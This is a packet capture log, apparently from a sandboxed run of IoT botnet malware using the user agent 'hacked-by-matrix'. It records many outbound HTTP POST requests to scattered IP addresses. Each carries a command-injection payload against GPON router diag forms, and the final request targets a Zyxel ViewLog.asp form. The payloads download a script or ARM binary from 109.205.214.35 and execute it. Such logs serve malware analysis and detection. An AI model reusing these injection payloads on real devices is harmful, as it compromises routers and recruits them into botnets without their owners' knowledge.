Mar 21, 2024 05:27:08.447812080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1746	192.168.2.23	46524	37.55.151.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447818041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1747	192.168.2.23	47388	79.171.204.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447844028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1748	192.168.2.23	35692	79.246.94.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447854042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1749	192.168.2.23	49112	94.155.34.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447874069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1750	192.168.2.23	42500	118.203.44.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447896957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1751	192.168.2.23	46224	5.145.83.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447933912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1752	192.168.2.23	50376	2.188.245.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447936058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1753	192.168.2.23	40500	178.234.124.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447943926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1754	192.168.2.23	60790	79.255.201.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447957993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1755	192.168.2.23	54330	42.155.34.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447958946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1756	192.168.2.23	58076	212.172.215.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447968960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1757	192.168.2.23	47206	5.103.12.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.447999001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1758	192.168.2.23	50252	109.102.12.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448045969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1759	192.168.2.23	53154	42.231.63.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448051929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1760	192.168.2.23	50652	79.172.106.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448055029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1761	192.168.2.23	43664	42.198.245.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448056936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1762	192.168.2.23	50118	37.232.168.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448158026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1763	192.168.2.23	39496	94.42.157.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448164940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1764	192.168.2.23	36536	109.25.139.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448183060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1765	192.168.2.23	41284	212.109.217.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448203087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1766	192.168.2.23	50434	79.214.97.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.448225975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1767	192.168.2.23	50338	178.32.154.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:08.471566916 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:08.641930103 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
